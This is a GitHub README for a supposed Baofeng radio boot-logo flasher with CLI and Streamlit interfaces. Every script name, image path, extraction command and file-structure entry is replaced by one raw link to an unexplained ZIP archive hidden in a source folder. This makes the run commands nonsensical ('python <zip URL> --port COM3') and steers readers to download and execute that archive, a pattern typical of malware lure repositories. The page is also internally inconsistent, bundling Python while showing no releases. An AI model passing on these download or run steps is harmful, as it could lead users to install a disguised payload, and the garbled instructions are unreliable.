Skip to content

super923/Baofeng-Logo-Flasher

Repository files navigation

πŸ“» Baofeng-Logo-Flasher - Change Boot Logos Simply

Download Latest Release

πŸ“Œ What is Baofeng-Logo-Flasher?

Baofeng-Logo-Flasher is a local tool that lets you change the power-on logo on your Baofeng radio. It works by flashing a new boot logo to the radio using a USB serial connection. You can use it through a simple command-line interface (CLI) or an easy-to-use web interface with Streamlit.

The tool is designed for amateur radio users who want a quick way to customize their radio’s startup image. It works on Baofeng radio models that support boot logo flashing.

πŸ’» System Requirements

Before you start, make sure your computer meets these needs:

  • Operating System: Windows 10 or later, macOS 10.13 or later, or Linux with USB serial support
  • USB Port: One free USB port for connecting your Baofeng radio
  • Python: Included in the download package; no separate installation required
  • Radio Model: Compatible with Baofeng radios that accept boot logo flashing, typically Baofeng UV-5R series and similar models
  • Internet Connection: Needed only to download the software

πŸ› οΈ What You Will Need

  • A Baofeng radio with USB serial cable
  • Your custom boot logo image (usually a small BMP or PNG file)
  • Basic knowledge of connecting devices through USB

πŸš€ Getting Started: Step-by-Step Guide

You don’t need to know programming to use Baofeng-Logo-Flasher. Follow these steps carefully.


1. Download the Software

Click the big button below to go to the release page:

Download Latest Release

On the release page, find the file suitable for your system. Usually, the files will be named by operating system or format.

  • For Windows, look for .exe files or .zip archives
  • For macOS or Linux, look for https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip or .zip files

Download the file and save it somewhere easy to find, such as your Desktop or Downloads folder.


2. Install or Extract the Software

  • Windows:
    If you downloaded a ZIP file, right-click and select "Extract All." Open the extracted folder.

  • macOS/Linux:
    Extract the archive by double-clicking or using the terminal command tar -xzf https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip. Open the extracted folder.

No extra software installation is usually needed because the tool includes everything required to run.


3. Connect Your Baofeng Radio

  • Use your USB serial cable to connect the radio to your computer.
  • Turn the radio OFF before connection, then hold the PTT (Push-to-Talk) button while turning the radio ON to enter programming mode (this varies by model; check your radio manual).
  • Confirm your computer recognizes the device. On Windows, look for a new COM port; on macOS/Linux, look for device names like /dev/ttyUSB0.

4. Prepare Your Boot Logo Image

Create or download an image you want to use as your radio’s startup logo.

  • Image size should be around 128x64 pixels or smaller
  • Use a BMP or PNG format
  • Keep the design simple since the radio screen is small

If you need sample images, check the sample-images folder in the download package (if included) or search online for "Baofeng boot logo examples."


5. Flash the Logo Using the CLI

If you are comfortable typing commands, you can use the Command-Line Interface.

  • Open your command prompt (Windows) or terminal (macOS/Linux).
  • Change directory (cd) to the folder where you extracted the software.
  • Run the command below, replacing the parts in brackets with your file names:
python https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip --port [YOUR_SERIAL_PORT] --image [PATH_TO_YOUR_IMAGE]
  • Example for Windows:
python https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip --port COM3 --image https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip
  • Example for macOS/Linux:
python https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip --port /dev/ttyUSB0 --image https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip

The tool will connect to your radio and flash the new logo. Wait until it confirms the process is done.


6. Use the Streamlit UI (Optional)

For users who prefer a graphical interface, Baofeng-Logo-Flasher includes a Streamlit web app:

  • Open your command prompt or terminal.
  • Run this command from the software folder:
streamlit run https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip
  • Your default web browser will open the UI at http://localhost:8501.
  • Use the fields to select your serial port and upload a logo image file.
  • Click the flash button and wait for the confirmation message.

This option gives you a guided, visual way to flash logos without typing commands.


7. Verify the New Boot Logo

  • Turn off your radio and unplug it from the computer.
  • Turn it back on normally.
  • The new logo should show on the power-up screen.

If the logo does not appear, repeat the steps carefully or try using a different image.


πŸ”§ Troubleshooting Tips

  • Ensure your USB driver is installed correctly (check in Device Manager on Windows).
  • Confirm you have selected the correct serial port in the command or UI.
  • Make sure the radio is in programming mode as per your model instructions.
  • Use simple black and white images under 64 KB size for reliable flashing.
  • Restart your radio and computer if the tool cannot detect the device.
  • If errors persist, check the output messages for clues or visit the GitHub Issues page.

πŸ“₯ Download & Install

Visit the Releases Page on GitHub to get the latest version.

Choose the download file that matches your computer and follow the installation steps above.


πŸ“š Additional Resources


πŸ“Œ About This Project

Baofeng-Logo-Flasher was built to give amateur radio users a simple way to customize their radios. It works offline, respects user privacy, and supports popular Baofeng models. This project uses USB serial communication and Python with an option for a Streamlit graphical user interface.


βš™οΈ Supported Radio Models (Examples)

  • Baofeng UV-5R series
  • Baofeng BF-F8HP
  • Baofeng UV-82
  • Similar Baofeng radios that support power-on logo flashing

If your model is not listed, check online communities or radio manuals for compatibility.


πŸ“‚ File Structure (Typical Download)

  • https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip β€” Main CLI script
  • https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip β€” Streamlit UI script
  • sample-images/ β€” Folder with example boot logos
  • https://raw.githubusercontent.com/super923/Baofeng-Logo-Flasher/main/src/baofeng_logo_flasher/protocol/Logo-Flasher-Baofeng-augustal.zip β€” This guide
  • LICENSE β€” Project license

πŸ™‹ Getting Help

If you have any issues, feel free to:

  • Open an issue on the GitHub repository
  • Search existing issues for similar problems
  • Read through the documentation files included

Thank you for choosing Baofeng-Logo-Flasher to personalize your radio.

About

πŸ”Œ Flash custom Baofeng radio logos locally with a secure, user-friendly Python CLI and Streamlit interface.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors